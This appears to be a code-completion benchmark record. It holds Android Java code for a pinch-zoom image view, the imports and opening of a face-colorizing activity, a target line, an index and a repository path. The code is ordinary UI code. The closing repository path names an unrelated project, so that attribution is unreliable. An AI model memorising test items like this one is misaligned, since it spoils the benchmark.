onDoubleTap(MotionEvent e) {\n //当手指快速第二次按下触发,此时必须是单指模式才允许执行doubleTap\n if (mPinchMode == PINCH_MODE_SCROLL && !(mScaleAnimator != null && mScaleAnimator.isRunning())) {\n doubleTap(e.getX(), e.getY());\n }\n return true;\n }\n\n public boolean onSingleTapConfirmed(MotionEvent e) {\n //触发点击\n if (mOnClickListener != null) {\n mOnClickListener.onClick(PinchImageView.this);\n }\n return true;\n }\n });\n\n @Override\n public boolean onTouchEvent(MotionEvent event) {\n super.onTouchEvent(event);\n int action = event.getAction() & MotionEvent.ACTION_MASK;\n //最后一个点抬起或者取消,结束所有模式\n if (action == MotionEvent.ACTION_UP || action == MotionEvent.ACTION_CANCEL) {\n //如果之前是缩放模式,还需要触发一下缩放结束动画\n if (mPinchMode == PINCH_MODE_SCALE) {\n scaleEnd();\n }\n mPinchMode = PINCH_MODE_FREE;\n } else if (action == MotionEvent.ACTION_POINTER_UP) {\n //多个手指情况下抬起一个手指,此时需要是缩放模式才触发\n if (mPinchMode == PINCH_MODE_SCALE) {\n //抬起的点如果大于2,那么缩放模式还有效,但是有可能初始点变了,重新测量初始点\n if (event.getPointerCount() > 2) {\n //如果还没结束缩放模式,但是第一个点抬起了,那么让第二个点和第三个点作为缩放控制点\n if (event.getAction() >> 8 == 0) {\n saveScaleContext(event.getX(1), event.getY(1), event.getX(2), event.getY(2));\n //如果还没结束缩放模式,但是第二个点抬起了,那么让第一个点和第三个点作为缩放控制点\n } else if (event.getAction() >> 8 == 1) {\n saveScaleContext(event.getX(0), event.getY(0), event.getX(2), event.getY(2));\n }\n }\n //如果抬起的点等于2,那么此时只剩下一个点,也不允许进入单指模式,因为此时可能图片没有在正确的位置上\n }\n //第一个点按下,开启滚动模式,记录开始滚动的点\n } else if (action == MotionEvent.ACTION_DOWN) {\n //在矩阵动画过程中不允许启动滚动模式\n if (!(mScaleAnimator != null && mScaleAnimator.isRunning())) {\n //停止所有动画\n cancelAllAnimator();\n //切换到滚动模式\n mPinchMode = PINCH_MODE_SCROLL;\n //保存触发点用于move计算差值\n mLastMovePoint.set(event.getX(), event.getY());\n }\n //非第一个点按下,关闭滚动模式,开启缩放模式,记录缩放模式的一些初始数据\n } else if (action == MotionEvent.ACTION_POINTER_DOWN) {\n //停止所有动画\n cancelAllAnimator();\n //切换到缩放模式\n mPinchMode = PINCH_MODE_SCALE;\n //保存缩放的两个手指\n saveScaleContext(event.getX(0), event.getY(0), event.getX(1), event.getY(1));\n } else if (action == MotionEvent.ACTION_MOVE) {\n if (!(mScaleAnimator != null && mScaleAnimator.isRunning())) {\n //在滚动模式下移动\n if (mPinchMode == PINCH_MODE_SCROLL) {\n //每次移动产生一个差值累积到图片位置上\n scrollBy(event.getX() - mLastMovePoint.x, event.getY() - mLastMovePoint.y);\n //记录新的移动点\n mLastMovePoint.set(event.getX(), event.getY());\n //在缩放模式下移动\n } else if (mPinchMode == PINCH_MODE_SCALE && event.getPointerCount() > 1) {\n //两个缩放点间的距离\n float distance = MathUtils.getDistance(event.getX(0), event.getY(0), event.getX(1), event.getY(1));\n //保存缩放点中点\n float[] lineCenter = MathUtils.getCenterPoint(event.getX(0), event.getY(0), event.getX(1), event.getY(1));\n mLastMovePoint.set(lineCenter[0], lineCenter[1]);\n //处理缩放\n scale(mScaleCenter, mScaleBase, distance, mLastMovePoint);\n }\n }\n }\n //无论如何都处理各种外部手势\n mGestureDetector.onTouchEvent(event);\n return true;\n }\n\n /**\n * 让图片移动一段距离\n * <p>\n * 不能移动超过可移动范围,超过了就到可移动范围边界为止.\n *\n * @param xDiff 移动距离\n * @param yDiff 移动距离\n * @return 是否改变了位置\n */\n private boolean scrollBy(float xDiff, float yDiff) {\n if (!isReady()) {\n return false;\n }\n //原图方框\n RectF bound = MathUtils.rectFTake();\n getImageBound(bound);\n //控件大小\n float displayWidth = getWidth();\n float displayHeight = getHeight();\n //如果当前图片宽度小于控件宽度,则不能移动\n if (bound.right - bound.left < displayWidth) {\n xDiff = 0;\n //如果图片左边在移动后超出控件左边\n } else if (bound.left + xDiff > 0) {\n //如果在移动之前是没超出的,计算应该移动的距离\n if (bound.left < 0) {\n xDiff = -bound.left;\n //否则无法移动\n } else {\n xDiff = 0;\n }\n //如果图片右边在移动后超出控件右边\n } else if (bound.right + xDiff < displayWidth) {\n //如果在移动之前是没超出的,计算应该移动的距离\n if (bound.right > displayWidth) {\n xDiff = displayWidth - bound.right;\n //否则无法移动\n } else {\n xDiff = 0;\n }\n }\n //以下同理\n if (bound.bottom - bound.top < displayHeight) {\n yDiff = 0;\n } else if (bound.top + yDiff > 0) {\n if (bound.top < 0) {\n yDiff = -bound.top;\n } else {\n yDiff = 0;\n }\n } else if (bound.bottom + yDiff < displayHeight) {\n if (bound.bottom > displayHeight) {\n yDiff = displayHeight - bound.bottom;\n } else {\n yDiff = 0;\n }\n }\n MathUtils.rectFGiven(bound);\n //应用移动变换\n mOuterMatrix.postTranslate(xDiff, yDiff);\n dispatchOuterMatrixChanged();\n //触发重绘\n invalidate();\n //检查是否有变化\n if (xDiff != 0 || yDiff != 0) {\n return true;\n } else {\n return false;\n }\n }\n\n /**\n * 记录缩放前的一些信息\n * <p>\n * 保存基础缩放值.\n * 保存图片缩放中点.\n *\n * @param x1 缩放第一个手指\n * @param y1 缩放第一个手指\n * @param x2 缩放第二个手指\n * @param y2 缩放第二个手指\n */\n private void saveScaleContext(float x1, float y1, float x2, float y2) {\n //记录基础缩放值,其中图片缩放比例按照x方向来计算\n //理论上图片应该是等比的,x和y方向比例相同\n //但是有可能外部设定了不规范的值.\n //但是后续的scale操作会将xy不等的缩放值纠正,改成和x方向相同\n mScaleBase = MathUtils.getMatrixScale(mOuterMatrix)[0] / MathUtils.getDistance(x1, y1, x2, y2);\n //两手指的中点在屏幕上落在了图片的某个点上,图片上的这个点在经过总矩阵变换后和手指中点相同\n //现在我们需要得到图片上这个点在图片是fit center状态下在屏幕上的位置\n //因为后续的计算都是基于图片是fit center状态下进行变换\n //所以需要把两手指中点除以外层变换矩阵得到mScaleCenter\n float[] center = MathUtils.inverseMatrixPoint(MathUtils.getCenterPoint(x1, y1, x2, y2), mOuterMatrix);\n mScaleCenter.set(center[0], center[1]);\n }\n\n /**\n * 对图片按照一些手势信息进行缩放\n *\n * @param scaleCenter mScaleCenter\n * @param scaleBase mScaleBase\n * @param distance 手指两点之间距离\n * @param lineCenter 手指两点之间中点\n * @see #mScaleCenter\n * @see #mScaleBase\n */\n private void scale(PointF scaleCenter, float scaleBase, float distance, PointF lineCenter) {\n if (!isReady()) {\n return;\n }\n //计算图片从fit center状态到目标状态的缩放比例\n float scale = scaleBase * distance;\n Matrix matrix = MathUtils.matrixTake();\n //按照图片缩放中心缩放,并且让缩放中心在缩放点中点上\n matrix.postScale(scale, scale, scaleCenter.x, scaleCenter.y);\n //让图片的缩放中点跟随手指缩放中点\n matrix.postTranslate(lineCenter.x - scaleCenter.x, lineCenter.y - scaleCenter.y);\n //应用变换\n mOuterMatrix.set(matrix);\n MathUtils.matrixGiven(matrix);\n dispatchOuterMatrixChanged();\n //重绘\n invalidate();\n }\n\n /**\n * 双击后放大或者缩小\n * <p>\n * 将图片缩放比例缩放到nextScale指定的值.\n * 但nextScale值不能大于最大缩放值不能小于fit center情况下的缩放值.\n * 将双击的点尽量移动到控件中心.\n *\n * @param x 双击的点\n * @param y 双击的点\n * @see #calculateNextScale(float, float)\n * @see #getMaxScale()\n */\n private void doubleTap(float x, float y) {\n if (!isReady()) {\n return;\n }\n //获取第一层变换矩阵\n Matrix innerMatrix = MathUtils.matrixTake();\n getInnerMatrix(innerMatrix);\n //当前总的缩放比例\n float innerScale = MathUtils.getMatrixScale(innerMatrix)[0];\n float outerScale = MathUtils.getMatrixScale(mOuterMatrix)[0];\n float currentScale = innerScale * outerScale;\n //控件大小\n float displayWidth = getWidth();\n float displayHeight = getHeight();\n //最大放大大小\n float maxScale = getMaxScale();\n //接下来要放大的大小\n float nextScale = calculateNextScale(innerScale, outerScale);\n //如果接下来放大大于最大值或者小于fit center值,则取边界\n if (nextScale > maxScale) {\n nextScale = maxScale;\n }\n if (nextScale < innerScale) {\n nextScale = innerScale;\n }\n //开始计算缩放动画的结果矩阵\n Matrix animEnd = MathUtils.matrixTake(mOuterMatrix);\n //计算还需缩放的倍数\n animEnd.postScale(nextScale / currentScale, nextScale / currentScale, x, y);\n //将放大点移动到控件中心\n animEnd.postTranslate(displayWidth / 2f - x, displayHeight / 2f - y);\n //得到放大之后的图片方框\n Matrix testMatrix = MathUtils.matrixTake(innerMatrix);\n testMatrix.postConcat(animEnd);\n RectF testBound = MathUtils.rectFTake(0, 0, getDrawable().getIntrinsicWidth(), getDrawable().getIntrinsicHeight());\n testMatrix.mapRect(testBound);\n //修正位置\n float postX = 0;\n float postY = 0;\n if (testBound.right - testBound.left < displayWidth) {\n postX = displayWidth / 2f - (testBound.right + testBound.left) / 2f;\n } else if (testBound.left > 0) {\n postX = -testBound.left;\n } else if (testBound.right < displayWidth) {\n postX = displayWidth - testBound.right;\n }\n if (testBound.bottom - testBound.top < displayHeight) {\n postY = displayHeight / 2f - (testBound.bottom + testBound.top) / 2f;\n } else if (testBound.top > 0) {\n postY = -testBound.top;\n } else if (testBound.bottom < displayHeight) {\n postY = displayHeight - testBound.bottom;\n }\n //应用修正位置\n animEnd.postTranslate(postX, postY);\n //清理当前可能正在执行的动画\n cancelAllAnimator();\n //启动矩阵动画\n mScaleAnimator = new ScaleAnimator(mOuterMatrix, animEnd);\n mScaleAnimator.start();\n //清理临时变量\n MathUtils.rectFGiven(testBound);\n MathUtils.matrixGiven(testMatrix);\n MathUtils.matrixGiven(animEnd);\n MathUtils.matrixGiven(innerMatrix);\n }\n\n /**\n * 当缩放操作结束动画\n * <p>\n * 如果图片超过边界,找到最近的位置动画恢复.\n * 如果图片缩放尺寸超过最大值或者最小值,找到最近的值动画恢复.\n */\n private void scaleEnd() {\n if (!isReady()) {\n return;\n }\n //是否修正了位置\n boolean change = false;\n //获取图片整体的变换矩阵\n Matrix currentMatrix = MathUtils.matrixTake();\n getCurrentImageMatrix(currentMatrix);\n //整体缩放比例\n float currentScale = MathUtils.getMatrixScale(currentMatrix)[0];\n //第二层缩放比例\n float outerScale = MathUtils.getMatrixScale(mOuterMatrix)[0];\n //控件大小\n float displayWidth = getWidth();\n float displayHeight = getHeight();\n //最大缩放比例\n float maxScale = getMaxScale();\n //比例修正\n float scalePost = 1f;\n //位置修正\n float postX = 0;\n float postY = 0;\n //如果整体缩放比例大于最大比例,进行缩放修正\n if (currentScale > maxScale) {\n scalePost = maxScale / currentScale;\n }\n //如果缩放修正后整体导致第二层缩放小于1(就是图片比fit center状态还小),重新修正缩放\n if (outerScale * scalePost < 1f) {\n scalePost = 1f / outerScale;\n }\n //如果缩放修正不为1,说明进行了修正\n if (scalePost != 1f) {\n change = true;\n }\n //尝试根据缩放点进行缩放修正\n Matrix testMatrix = MathUtils.matrixTake(currentMatrix);\n testMatrix.postScale(scalePost, scalePost, mLastMovePoint.x, mLastMovePoint.y);\n RectF testBound = MathUtils.rectFTake(0, 0, getDrawable().getIntrinsicWidth(), getDrawable().getIntrinsicHeight());\n //获取缩放修正后的图片方框\n testMatrix.mapRect(testBound);\n //检测缩放修正后位置有无超出,如果超出进行位置修正\n if (testBound.right - testBound.left < displayWidth) {\n postX = displayWidth / 2f - (testBound.right + testBound.left) / 2f;\n } else if (testBound.left > 0) {\n postX = -testBound.left;\n } else if (testBound.right < displayWidth) {\n postX = displayWidth - testBound.right;\n }\n if (testBound.bottom - testBound.top < displayHeight) {\n postY = displayHeight / 2f - (testBound.bottom + testBound.top) / 2f;\n } else if (testBound.top > 0) {\n postY = -testBound.top;\n } else if (testBound.bottom < displayHeight) {\n postY = displayHeight - testBound.bottom;\n }\n //如果位置修正不为0,说明进行了修正\n if (postX != 0 || postY != 0) {\n change = true;\n }\n //只有有执行修正才执行动画\n if (change) {\n //计算结束矩阵\n Matrix animEnd = MathUtils.matrixTake(mOuterMatrix);\n animEnd.postScale(scalePost, scalePost, mLastMovePoint.x, mLastMovePoint.y);\n animEnd.postTranslate(postX, postY);\n //清理当前可能正在执行的动画\n cancelAllAnimator();\n //启动矩阵动画\n mScaleAnimator = new ScaleAnimator(mOuterMatrix, animEnd);\n mScaleAnimator.start();\n //清理临时变量\n MathUtils.matrixGiven(animEnd);\n }\n //清理临时变量\n MathUtils.rectFGiven(testBound);\n MathUtils.matrixGiven(testMatrix);\n MathUtils.matrixGiven(currentMatrix);\n }\n\n /**\n * 执行惯性动画\n * <p>\n * 动画在遇到不能移动就停止.\n * 动画速度衰减到很小就停止.\n * <p>\n * 其中参数速度单位为 像素/秒\n *\n * @param vx x方向速度\n * @param vy y方向速度\n */\n private void fling(float vx, float vy) {\n if (!isReady()) {\n return;\n }\n //清理当前可能正在执行的动画\n cancelAllAnimator();\n //创建惯性动画\n //FlingAnimator单位为 像素/帧,一秒60帧\n mFlingAnimator = new FlingAnimator(vx / 60f, vy / 60f);\n mFlingAnimator.start();\n }\n\n /**\n * 停止所有手势动画\n */\n private void cancelAllAnimator() {\n if (mScaleAnimator != null) {\n mScaleAnimator.cancel();\n mScaleAnimator = null;\n }\n if (mFlingAnimator != null) {\n mFlingAnimator.cancel();\n mFlingAnimator = null;\n }\n }\n\n /**\n * 惯性动画\n * <p>\n * 速度逐渐衰减,每帧速度衰减为原来的FLING_DAMPING_FACTOR,当速度衰减到小于1时停止.\n * 当图片不能移动时,动画停止.\n */\n private class FlingAnimator extends ValueAnimator implements ValueAnimator.AnimatorUpdateListener {\n\n /**\n * 速度向量\n */\n private float[] mVector;\n\n /**\n * 创建惯性动画\n * <p>\n * 参数单位为 像素/帧\n *\n * @param vectorX 速度向量\n * @param vectorY 速度向量\n */\n public FlingAnimator(float vectorX, float vectorY) {\n super();\n setFloatValues(0, 1f);\n setDuration(1000000);\n addUpdateListener(this);\n mVector = new float[]{vectorX, vectorY};\n }\n\n @Override\n public void onAnimationUpdate(ValueAnimator animation) {\n //移动图像并给出结果\n boolean result = scrollBy(mVector[0], mVector[1]);\n //衰减速度\n mVector[0] *= FLING_DAMPING_FACTOR;\n mVector[1] *= FLING_DAMPING_FACTOR;\n //速度太小或者不能移动了就结束\n if (!result || MathUtils.getDistance(0, 0, mVector[0], mVector[1]) < 1f) {\n animation.cancel();\n }\n }\n }\n\n /**\n * 缩放动画\n * <p>\n * 在给定时间内从一个矩阵的变化逐渐动画到另一个矩阵的变化\n */\n private class ScaleAnimator extends ValueAnimator implements ValueAnimator.AnimatorUpdateListener {\n\n /**\n * 开始矩阵\n */\n private float[] mStart = new float[9];\n\n /**\n * 结束矩阵\n */\n private float[] mEnd = new float[9];\n\n /**\n * 中间结果矩阵\n */\n private float[] mResult = new float[9];\n\n /**\n * 构建一个缩放动画\n * <p>\n * 从一个矩阵变换到另外一个矩阵\n *\n * @param start 开始矩阵\n * @param end 结束矩阵\n */\n public ScaleAnimator(Matrix start, Matrix end) {\n this(start, end, SCALE_ANIMATOR_DURATION);\n }\n\n /**\n * 构建一个缩放动画\n * <p>\n * 从一个矩阵变换到另外一个矩阵\n *\n * @param start 开始矩阵\n * @param end 结束矩阵\n * @param duration 动画时间\n */\n public ScaleAnimator(Matrix start, Matrix end, long duration) {\n super();\n setFloatValues(0, 1f);\n setDuration(duration);\n addUpdateListener(this);\n start.getValues(mStart);\n end.getValues(mEnd);\n }\n\n @Override\n public void onAnimationUpdate(ValueAnimator animation) {\n //获取动画进度\n float value = (Float) animation.getAnimatedValue();\n //根据动画进度计算矩阵中间插值\n for (int i = 0; i < 9; i++) {\n mResult[i] = mStart[i] + (mEnd[i] - mStart[i]) * value;\n }\n //设置矩阵并重绘\n mOuterMatrix.setValues(mResult);\n dispatchOuterMatrixChanged();\n invalidate();\n }\n }\n\n\n ////////////////////////////////防止内存抖动复用对象////////////////////////////////\n\n /**\n * 对象池\n * <p>\n * 防止频繁new对象产生内存抖动.\n * 由于对象池最大长度限制,如果吞度量超过对象池容量,仍然会发生抖动.\n * 此时需要增大对象池容量,但是会占用更多内存.\n *\n * @param <T> 对象池容纳的对象类型\n */\n private static abstract class ObjectsPool<T> {\n\n /**\n * 对象池的最大容量\n */\n private int mSize;\n\n /**\n * 对象池队列\n */\n private Queue<T> mQueue;\n\n /**\n * 创建一个对象池\n *\n * @param size 对象池最大容量\n */\n public ObjectsPool(int size) {\n mSize = size;\n mQueue = new LinkedList<T>();\n }\n\n /**\n * 获取一个空闲的对象\n * <p>\n * 如果对象池为空,则对象池自己会new一个返回.\n * 如果对象池内有对象,则取一个已存在的返回.\n * take出来的对象用完要记得调用given归还.\n * 如果不归还,让然会发生内存抖动,但不会引起泄漏.\n *\n * @return 可用的对象\n * @see #given(Object)\n */\n public T take() {\n //如果池内为空就创建一个\n if (mQueue.size() == 0) {\n return newInstance();\n } else {\n //对象池里有就从顶端拿出来一个返回\n return resetInstance(mQueue.poll());\n }\n }\n\n /**\n * 归还对象池内申请的对象\n * <p>\n * 如果归还的对象数量超过对象池容量,那么归还的对象就会被丢弃.\n *\n * @param obj 归还的对象\n * @see #take()\n */\n public void given(T obj) {\n //如果对象池还有空位子就归还对象\n if (obj != null && mQueue.size() < mSize) {\n mQueue.offer(obj);\n }\n }\n\n /**\n * 实例化对象\n *\n * @return 创建的对象\n */\n abstract protected T newInstance();\n\n /**\n * 重置对象\n * <p>\n * 把对象数据清空到就像刚创建的一样.\n *\n * @param obj 需要被重置的对象\n * @return 被重置之后的对象\n */\n abstract protected T resetInstance(T obj);\n }\n\n /**\n * 矩阵对象池\n */\n private static class MatrixPool extends ObjectsPool<Matrix> {\n\n public MatrixPool(int size) {\n super(size);\n }\n\n @Override\n protected Matrix newInstance() {\n return new Matrix();\n }\n\n @Override\n protected Matrix resetInstance(Matrix obj) {\n obj.reset();\n return obj;\n }\n }\n\n /**\n * 矩形对象池\n */\n private static class RectFPool extends ObjectsPool<RectF> {\n\n public RectFPool(int size) {\n super(size);\n }\n\n @Override\n protected RectF newInstance() {\n return new RectF();\n }\n\n @Override\n protected RectF resetInstance(RectF obj) {\n obj.setEmpty();\n return obj;\n }\n }\n\n\n ////////////////////////////////数学计算工具类////////////////////////////////\n\n /**\n * 数学计算工具类\n */\n public static class MathUtils {\n\n /**\n * 矩阵对象池\n */\n private static MatrixPool mMatrixPool = new MatrixPool(16);\n\n /**\n * 获取矩阵对象\n */\n public static Matrix matrixTake() {\n return mMatrixPool.take();\n }\n\n /**\n * 获取某个矩阵的copy\n */\n public static Matrix matrixTake(Matrix matrix) {\n Matrix result = mMatrixPool.take();\n if (matrix != null) {\n result.set(matrix);\n }\n return result;\n }\n\n /**\n * 归还矩阵对象\n */\n public static void matrixGiven(Matrix matrix) {\n mMatrixPool.given(matrix);\n }\n\n /**\n * 矩形对象池\n */\n private static RectFPool mRectFPool = new RectFPool(16);\n\n /**\n * 获取矩形对象\n */\n public static RectF rectFTake() {\n return mRectFPool.take();\n }\n\n /**\n * 按照指定值获取矩形对象\n */\n public static RectF rectFTake(float left, float top, float right, float bottom) {\n RectF result = mRectFPool.take();\n result.set(left, top, right, bottom);\n return result;\n }\n\n /**\n * 获取某个矩形的副本\n */\n public static RectF rectFTake(RectF rectF) {\n RectF result = mRectFPool.take();\n if (rectF != null) {\n result.set(rectF);\n }\n return result;\n }\n\n /**\n * 归还矩形对象\n */\n public static void rectFGiven(RectF rectF) {\n mRectFPool.given(rectF);\n }\n\n /**\n * 获取两点之间距离\n *\n * @param x1 点1\n * @param y1 点1\n * @param x2 点2\n * @param y2 点2\n * @return 距离\n */\n public static float getDistance(float x1, float y1, float x2, float y2) {\n float x = x1 - x2;\n float y = y1 - y2;\n return (float) Math.sqrt(x * x + y * y);\n }\n\n /**\n * 获取两点的中点\n *\n * @param x1 点1\n * @param y1 点1\n * @param x2 点2\n * @param y2 点2\n * @return float[]{x, y}\n */\n public static float[] getCenterPoint(float x1, float y1, float x2, float y2) {\n return new float[]{(x1 + x2) / 2f, (y1 + y2) / 2f};\n }\n\n /**\n * 获取矩阵的缩放值\n *\n * @param matrix 要计算的矩阵\n * @return float[]{scaleX, scaleY}\n */\n public static float[] getMatrixScale(Matrix matrix) {\n if (matrix != null) {\n float[] value = new float[9];\n matrix.getValues(value);\n return new float[]{value[0], value[4]};\n } else {\n return new float[2];\n }\n }\n\n /**\n * 计算点除以矩阵的值\n * <p>\n * matrix.mapPoints(unknownPoint) -> point\n * 已知point和matrix,求unknownPoint的值.\n *\n * @param point\n * @param matrix\n * @return unknownPoint\n */\n public static float[] inverseMatrixPoint(float[] point, Matrix matrix) {\n if (point != null && matrix != null) {\n float[] dst = new float[2];\n //计算matrix的逆矩阵\n Matrix inverse = matrixTake();\n matrix.invert(inverse);\n //用逆矩阵变换point到dst,dst就是结果\n inverse.mapPoints(dst, point);\n //清除临时变量\n matrixGiven(inverse);\n return dst;\n } else {\n return new float[2];\n }\n }\n\n /**\n * 计算两个矩形之间的变换矩阵\n * <p>\n * unknownMatrix.mapRect(to, from)\n * 已知from矩形和to矩形,求unknownMatrix\n *\n * @param from\n * @param to\n * @param result unknownMatrix\n */\n public static void calculateRectTranslateMatrix(RectF from, RectF to, Matrix result) {\n if (from == null || to == null || result == null) {\n return;\n }\n if (from.width() == 0 || from.height() == 0) {\n return;\n }\n result.reset();\n result.postTranslate(-from.left, -from.top);\n result.postScale(to.width() / from.width(), to.height() / from.height());\n result.postTranslate(to.left, to.top);\n }\n\n /**\n * 计算图片在某个ImageView中的显示矩形\n *\n * @param container ImageView的Rect\n * @param srcWidth 图片的宽度\n * @param srcHeight 图片的高度\n * @param scaleType 图片在ImageView中的ScaleType\n * @param result 图片应该在ImageView中展示的矩形\n */\n public static void calculateScaledRectInContainer(RectF container, float srcWidth, float srcHeight, ScaleType scaleType, RectF result) {\n if (container == null || result == null) {\n return;\n }\n if (srcWidth == 0 || srcHeight == 0) {\n return;\n }\n //默认scaleType为fit center\n if (scaleType == null) {\n scaleType = ScaleType.FIT_CENTER;\n }\n result.setEmpty();\n if (ScaleType.FIT_XY.equals(scaleType)) {\n result.set(container);\n } else if (ScaleType.CENTER.equals(scaleType)) {\n Matrix matrix = matrixTake();\n RectF rect = rectFTake(0, 0, srcWidth, srcHeight);\n matrix.setTranslate((container.width() - srcWidth) * 0.5f, (container.height() - srcHeight) * 0.5f);\n matrix.mapRect(result, rect);\n rectFGiven(rect);\n matrixGiven(matrix);\n result.left += container.left;\n result.right += container.left;\n result.top += container.top;\n result.bottom += container.top;\n } else if (ScaleType.CENTER_CROP.equals(scaleType)) {\n Matrix matrix = matrixTake();\n RectF rect = rectFTake(0, 0, srcWidth, srcHeight);\n float scale;\n float dx = 0;\n float dy = 0;\n if (srcWidth * container.height() > container.width() * srcHeight) {\n scale = container.height() / srcHeight;\n dx = (container.width() - srcWidth * scale) * 0.5f;\n } else {\n scale = container.width() / srcWidth;\n dy = (container.height() - srcHeight * scale) * 0.5f;\n }\n matrix.setScale(scale, scale);\n matrix.postTranslate(dx, dy);\n matrix.mapRect(result, rect);\n rectFGiven(rect);\n matrixGiven(matrix);\n result.left += container.left;\n result.right += container.left;\n result.top += container.top;\n result.bottom += container.top;\n } else if (ScaleType.CENTER_INSIDE.equals(scaleType)) {\n Matrix matrix = matrixTake();\n RectF rect = rectFTake(0, 0, srcWidth, srcHeight);\n float scale;\n float dx;\n float dy;\n if (srcWidth <= container.width() && srcHeight <= container.height()) {\n scale = 1f;\n } else {\n scale = Math.min(container.width() / srcWidth, container.height() / srcHeight);\n }\n dx = (container.width() - srcWidth * scale) * 0.5f;\n dy = (container.height() - srcHeight * scale) * 0.5f;\n matrix.setScale(scale, scale);\n matrix.postTranslate(dx, dy);\n matrix.mapRect(result, rect);\n rectFGiven(rect);\n matrixGiven(matrix);\n result.left += container.left;\n result.right += container.left;\n result.top += container.top;\n result.bottom += container.top;\n } else if (ScaleType.FIT_CENTER.equals(scaleType)) {\n Matrix matrix = matrixTake();\n RectF rect = rectFTake(0, 0, srcWidth, srcHeight);\n RectF tempSrc = rectFTake(0, 0, srcWidth, srcHeight);\n RectF tempDst = rectFTake(0, 0, container.width(), container.height());\n matrix.setRectToRect(tempSrc, tempDst, Matrix.ScaleToFit.CENTER);\n matrix.mapRect(result, rect);\n rectFGiven(tempDst);\n rectFGiven(tempSrc);\n rectFGiven(rect);\n matrixGiven(matrix);\n result.left += container.left;\n result.right += container.left;\n result.top += container.top;\n result.bottom += container.top;\n } else if (ScaleType.FIT_START.equals(scaleType)) {\n Matrix matrix = matrixTake();\n RectF rect = rectFTake(0, 0, srcWidth, srcHeight);\n RectF tempSrc = rectFTake(0, 0, srcWidth, srcHeight);\n RectF tempDst = rectFTake(0, 0, container.width(), container.height());\n matrix.setRectToRect(tempSrc, tempDst, Matrix.ScaleToFit.START);\n matrix.mapRect(result, rect);\n rectFGiven(tempDst);\n rectFGiven(tempSrc);\n rectFGiven(rect);\n matrixGiven(matrix);\n result.left += container.left;\n result.right += container.left;\n result.top += container.top;\n result.bottom += container.top;\n } else if (ScaleType.FIT_END.equals(scaleType)) {\n Matrix matrix = matrixTake();\n RectF rect = rectFTake(0, 0, srcWidth, srcHeight);\n RectF tempSrc = rectFTake(0, 0, srcWidth, srcHeight);\n RectF tempDst = rectFTake(0, 0, container.width(), container.height());\n matrix.setRectToRect(tempSrc, tempDst, Matrix.ScaleToFit.END);\n matrix.mapRect(result, rect);\n rectFGiven(tempDst);\n rectFGiven(tempSrc);\n rectFGiven(rect);\n matrixGiven(matrix);\n result.left += container.left;\n result.right += container.left;\n result.top += container.top;\n result.bottom += container.top;\n } else {\n result.set(container);\n }\n }\n }\n}" ]
import android.app.Activity; import android.app.FragmentManager; import android.app.ProgressDialog; import android.content.Context; import android.content.DialogInterface; import android.content.Intent; import android.content.pm.PackageManager; import android.content.res.Resources; import android.graphics.Bitmap; import android.graphics.BitmapFactory; import android.graphics.BlurMaskFilter; import android.graphics.Canvas; import android.graphics.Color; import android.graphics.CornerPathEffect; import android.graphics.LinearGradient; import android.graphics.Matrix; import android.graphics.Paint; import android.graphics.Path; import android.graphics.Point; import android.graphics.PorterDuff; import android.graphics.PorterDuffXfermode; import android.graphics.Shader; import android.graphics.Typeface; import android.graphics.Xfermode; import android.os.AsyncTask; import android.os.Build; import android.os.Bundle; import android.os.Environment; import android.os.Handler; import android.os.HandlerThread; import android.support.design.widget.Snackbar; import android.support.v4.app.ActivityCompat; import android.support.v7.app.AlertDialog; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.CardView; import android.support.v7.widget.DefaultItemAnimator; import android.support.v7.widget.LinearLayoutManager; import android.support.v7.widget.RecyclerView; import android.util.Log; import android.view.Display; import android.view.LayoutInflater; import android.view.Menu; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import android.view.WindowManager; import android.view.animation.Animation; import android.view.animation.AnimationUtils; import android.widget.Button; import android.widget.EditText; import android.widget.ImageButton; import android.widget.ImageView; import android.widget.LinearLayout; import android.widget.RelativeLayout; import android.widget.SeekBar; import android.widget.TextView; import android.widget.Toast; import com.github.pwittchen.swipe.library.Swipe; import com.github.pwittchen.swipe.library.SwipeListener; import com.google.firebase.database.DataSnapshot; import com.google.firebase.database.DatabaseError; import com.google.firebase.database.DatabaseReference; import com.google.firebase.database.FirebaseDatabase; import com.google.firebase.database.ValueEventListener; import com.squareup.picasso.Callback; import com.squareup.picasso.NetworkPolicy; import com.squareup.picasso.Picasso; import com.taishi.flipprogressdialog.FlipProgressDialog; import com.tzutalin.dlib.Constants; import com.tzutalin.dlib.FaceDet; import com.tzutalin.dlib.VisionDetRet; import org.json.JSONException; import org.json.JSONObject; import org.opencv.android.BaseLoaderCallback; import org.opencv.android.LoaderCallbackInterface; import org.opencv.android.OpenCVLoader; import org.opencv.android.Utils; import org.opencv.core.Mat; import org.opencv.core.MatOfPoint; import org.opencv.core.MatOfRect; import org.opencv.core.Scalar; import org.opencv.core.Size; import org.opencv.imgproc.Imgproc; import org.opencv.objdetect.CascadeClassifier; import java.io.File; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.LinkedList; import java.util.List; import java.util.Map; import de.hdodenhof.circleimageview.CircleImageView; import fyp.hkust.facet.R; import fyp.hkust.facet.fragment.ColorSelectFragment; import fyp.hkust.facet.fragment.MakeupProductFragment; import fyp.hkust.facet.model.ProductTypeTwo; import fyp.hkust.facet.util.FontManager; import fyp.hkust.facet.util.PinchImageView; import id.zelory.compressor.Compressor; import me.shaohui.advancedluban.Luban;
package fyp.hkust.facet.activity; /** * A simple demo, get a picture form your phone<br /> * Use the facepp api to detect<br /> * Find all face on the picture, and mark them out. * * @author moon5ckq */ public class ColorizeFaceActivity extends AppCompatActivity implements ColorSelectFragment.OnDataPass { private static final String TAG = ColorizeFaceActivity.class.getSimpleName(); private File mCascadeFile; private CascadeClassifier mJavaDetector; private float mRelativeFaceSize = 0.2f; private int mAbsoluteFaceSize = 0; private Bitmap basicImg = null;
private PinchImageView imageView = null;
6
hljwang3874149/ElephantReader
app/src/main/java/reader/simple/com/simple_reader/presenter/impl/SplashPresenter.java
